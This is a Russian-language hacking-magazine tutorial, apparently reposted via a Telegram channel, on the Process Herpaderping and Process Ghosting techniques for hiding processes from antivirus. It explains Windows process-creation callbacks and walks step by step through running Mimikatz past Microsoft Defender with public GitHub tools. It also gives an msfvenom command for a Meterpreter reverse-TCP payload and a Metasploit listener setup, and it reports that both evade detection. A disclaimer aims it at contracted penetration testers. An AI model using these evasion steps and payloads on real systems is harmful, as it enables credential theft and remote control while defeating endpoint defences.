Хакер - Herpaderping и Ghosting. Изучаем два новых способа скрывать процессы от антивирусов
hacker_frei
be_a_saint
Содержание статьи
- Особенности процессов
- Важно понимать
- Создание процесса
- Сканирование процесса в поисках зловреда
- Отличия двух техник
- Herpaderping
- Herpaderping на практике
- Ghosting
- Ghosting на практике
- Выводы
Избежать обнаружения полезной нагрузки антивирусами — важнейшая задача не только вирусописателей, но и пентестеров и участников red team. Для этого существуют различные техники. Сегодня мы подробно рассмотрим две из них: Herpaderping и Ghosting. О двух других методиках — Hollowing и Doppelgänging — можно почитать в статье «Маскируем запуск процессов при помощи Process Doppelgänging».
Для простоты в наших экспериментах мы будем использовать Microsoft Defender и Mimikatz.
WARNING
Статья имеет ознакомительный характер и предназначена для специалистов по безопасности, проводящих тестирование в рамках контракта. Автор и редакция не несут ответственности за любой вред, причиненный с применением изложенной информации. Распространение вредоносных программ, нарушение работы систем и нарушение тайны переписки преследуются по закону.
ОСОБЕННОСТИ ПРОЦЕССОВ
Как антивирус узнает, что в системе был запущен какой‑либо процесс? Microsoft дает возможность разработчикам антивирусных решений получать через API нужные им события (например, PsSetCreateProcessNotifyRoutineEx). Когда создается процесс, Microsoft Defender (да и все остальные антивирусы) сразу узнает об этом, получив соответствующий callback. Теперь‑то он может проинспектировать исполняемый файл и сделать вывод, разрешить этот процесс или нет (опустим этап статического анализа).
Вся штука в том, что уведомление CreateProcessNotify— ни разу не про создание процесса. Callback полетит тогда, когда внутри этого процесса возникнет первый поток (thread). Между моментами, когда процесс был создан и когда антивирусное решение об этом узнало, образуется промежуток. Это самое время злоумышленники творчески используют для своих целей.
Важно понимать
Исполняемый файл — это не процесс. Исполняемый файл может быть связан со множеством процессов (в Task Manager можно легко проследить, сколько процессов связано, например, с RuntimeBroker.exe или svchost.exe). Каждый процесс обязательно будет связан с каким‑либо PE-файлом (.exe, .dll и другие). При этом процессы предоставляют ресурсы, необходимые для выполнения программы.
Процесс содержит виртуальное адресное пространство, исполняемый код, открытые дескрипторы для системных объектов, контекст безопасности, уникальный идентификатор процесса, переменные среды, класс приоритета, минимальный и максимальный размеры рабочего множества и по крайней мере один поток выполнения.
Поток — это базовая единица, в которой операционная система выделяет процессорное время. Поток может выполнять любую часть кода процесса, включая части, которые в данный момент выполняются другим потоком.
Создание процесса
Рассмотрим создание процесса по шагам.
- Сначала мы получаем дескриптор (handle) для исполняемого файла, который запускаем, например так:
hFile = CreateFile(“C:\Windows\System32\svchost.exe”). - Создаем image section (например,
hSection = NtCreateSection(hFile, SEC_IMAGE)). Image section представляет собой особый раздел и служит для отображения файла (или части файла) в память. Раздел соответствует PE-файлам и может быть создан только в них. - Создаем процесс в image section (например,
hProcess = NtCreateProcessEx(hSection)). - Назначаем аргументы и переменные среды (например,
CreateEnvironmentBlock/NtWriteVirtualMemory). - Создаем поток для выполнения процесса (например,
NtCreateThreadEx).
Важный момент: процессы запускаются из исполняемых файлов, но информация внутри исполняемого файла может меняться относительного того, что находится в image section (так как она кешируется memory manager).
Сканирование процесса в поисках зловреда
Как уже было сказано, антивирусы могут получать уведомления о событиях создания процессов и потоков (PsSetCreateProcessNotifyRoutineEx и PsSetCreateThreadNotifyRoutineEx).
Выглядит это примерно так:
typedef struct _PS_CREATE_NOTIFY_INFO {
SIZE_T Size;
union {
ULONG Flags;
struct {
ULONG FileOpenNameAvailable : 1;
ULONG IsSubsystemProcess : 1;
ULONG Reserved : 30;
};
};
HANDLE ParentProcessId;
CLIENT_ID CreatingThreadId;
struct _FILE_OBJECT *FileObject;
PCUNICODE_STRING ImageFileName;
PCUNICODE_STRING CommandLine;
NTSTATUS CreationStatus;
} PS_CREATE_NOTIFY_INFO, *PPS_CREATE_NOTIFY_INFO;
Из интересного: FILE_OBJECT соответствует дескриптору NtCreateSection. Если же мы взглянем на API NtCreateProcess, то увидим там тоже дескриптор раздела, а не файла.
NTSYSCALLAPI
NTSTATUS
NTAPI
NtCreateProcess(
_Out_ PHANDLE ProcessHandle,
_In_ ACCESS_MASK DesiredAccess,
_In_opt_ POBJECT_ATTRIBUTES ObjectAttributes,
_In_ HANDLE ParentProcess,
_In_ BOOLEAN InheritObjectTable,
_In_opt_ HANDLE SectionHandle,
_In_opt_ HANDLE DebugPort,
_In_opt_ HANDLE ExceptionPort
);
ОТЛИЧИЯ ДВУХ ТЕХНИК
Для простоты я свел отличия описываемых в статье техник в таблицу.
ТЕХНИКАДЕЙСТВИЯHollowingmap → modify section → executeDoppelgängingtransact → write → map → rollback → executeHerpaderpingwrite → map → modify → execute → closeGhostingdelete pending → write → map → close(delete) → execute
HERPADERPING
Нам потребуется mimikatz.exe, целевой исполняемый файл (тут можно указывать что угодно, у нас это будет hack.exe) и любой файл, не вызывающий подозрений у антивирусных программ. Разберем методику Herpaderping по шагам.
- Write. Создаем и открываем
hack.exe, копируем в негоmimikatz.exe, дескриптор не закрываем. - Map. Создаем image section и мапим содержимое в память.
- Modify. Создаем процесс с дескриптором ранее созданного раздела. После этого меняем содержимое файла
hack.exe, копируя туда что‑нибудь легитимное. Помнишь важный момент из раздела про создание процесса? Так вот это он и есть: с этого момента то, что у нас в памяти, и то, что хранится в файле, отличается. - Execute. Создаем initial thread. Только сейчас антивирусу летит process creation callback. Различие содержимого в файле и в памяти сводит с ума Defender, он не может понять, можно ли разрешать выполнение этого процесса.
- Close. Закрываем открытый дескриптор.
Herpaderping на практике
За всеми действиями будет наблюдать полностью обновленный Microsoft Defender. Естественно, если дропнуть на диск Mimikatz или пейлоад из MSFvenom в «чистом» виде, он тут же будет обнаружен антивирусом. Нам нужно обойти статический анализ, но этот этап мы сейчас рассматривать не будем.

Копируем проект из GitHub и собираем его.
git clone https://github.com/jxy-s/herpaderping.git
cd .\herpaderping\
git submodule update --init –recursive

Выполняем команду
ProcessHerpaderping.exe mimikatz.exe hack.exe lsass.exe

Как мы видим, все выполнилось успешно, Defender не среагировал. Давай взглянем, что покажет нам ProcessHacker.

У нас исполняется не mimikatz.exe, а hack.exe. А еще у нашего приложения hack.exe есть сертификат, выданный Microsoft.

Ну а сам hack.exe спокойно лежит на рабочем столе.

Этот прием работает не только с Mimikatz: давай пробросим себе сессию Meterpreter. Для этого сгенерируем полезную нагрузку и запустим листенер.
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.197 LPORT=9001 -f exe > met.exe

use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.1.197
set LPORT 9001
exploit
Выполним те же действия и глянем, прилетела ли сессия.


Ура, получилось!
GHOSTING
Для использования этого метода нам опять же потребуется наш исходный файл (mimikatz.exe) и целевой исполняемый файл. В качестве такового можно указывать что угодно, у нас это будет уже привычный нам hack.exe. Как и в прошлый раз, разберем технологию по шагам.
- Delete pending. Delete Pending — это состояние, при котором файл еще не удален, потому что дескриптор на него открыт. Как только дескриптор закроется, файл удалится. Создаем файл и переводим в состояние delete-pending, используя
NtSetInformationFile (FileDispositionInformation). ИспользованиеFILE_DELETE_ON_CLOSEне удалит файл. - Write. Копируем наш исходный исполняемый файл в созданный файл. Содержимое не сохраняется, так как файл находится в состоянии delete-pending. Также это состояние блокирует попытки открыть файл извне.
- Map. Создаем image section и мапим содержимое в память.
- Сlose(delete). Закрываем дескриптор, файл удаляется.
- Execute. Создаем процесс с дескриптором ранее созданного раздела. Создаем initial thread. В этот момент антивирусу направляется process creation callback, но файл уже удален. Попытка открыть его завершится с ошибкой
STATUS_FILE_DELETED. Если попробовать открыть файл до того, как он будет удален, получишь ту же самую ошибку.
Ghosting на практике
Копируем проект и собираем. Либо качаем уже собранный проект из GitHub.
Выполняем команду
proc_ghost64.exe mimikatz.exe hack.exe

Как мы видим, снова все выполнилось успешно и Defender не среагировал. Теперь давай оценим информацию, которую предоставит нам ProcessHacker.

Стоит обратить внимание на еще один инструмент, который реализует данную технику, — KingHamlet. Он также реализует возможности криптования исходного пейлоада:
KingHamlet.exe mimikatz.exe key

А process ghosting используется на следующем шаге:
KingHamlet.exe mimikatz.exe.khe key hack.exe

KingHamlet также отработал успешно. В ProcessHacker мы увидим следующее.

ВЫВОДЫ
Поведение Microsoft по отношению к описанным в этой статье методам не до конца понятно. То компания заявляет, что выпустила закрывающий патч, то Microsoft Security Response Center (MSRC) неожиданно сообщает: проблема не соответствует критериям, требующим выпустить обновление безопасности или инструкции по предотвращению атак. Но как видим, пока эти механизмы работают без каких‑либо трудностей, главное — обойти статический анализ.
Читайте ещё больше платных статей бесплатно: https://t.me/hacker_frei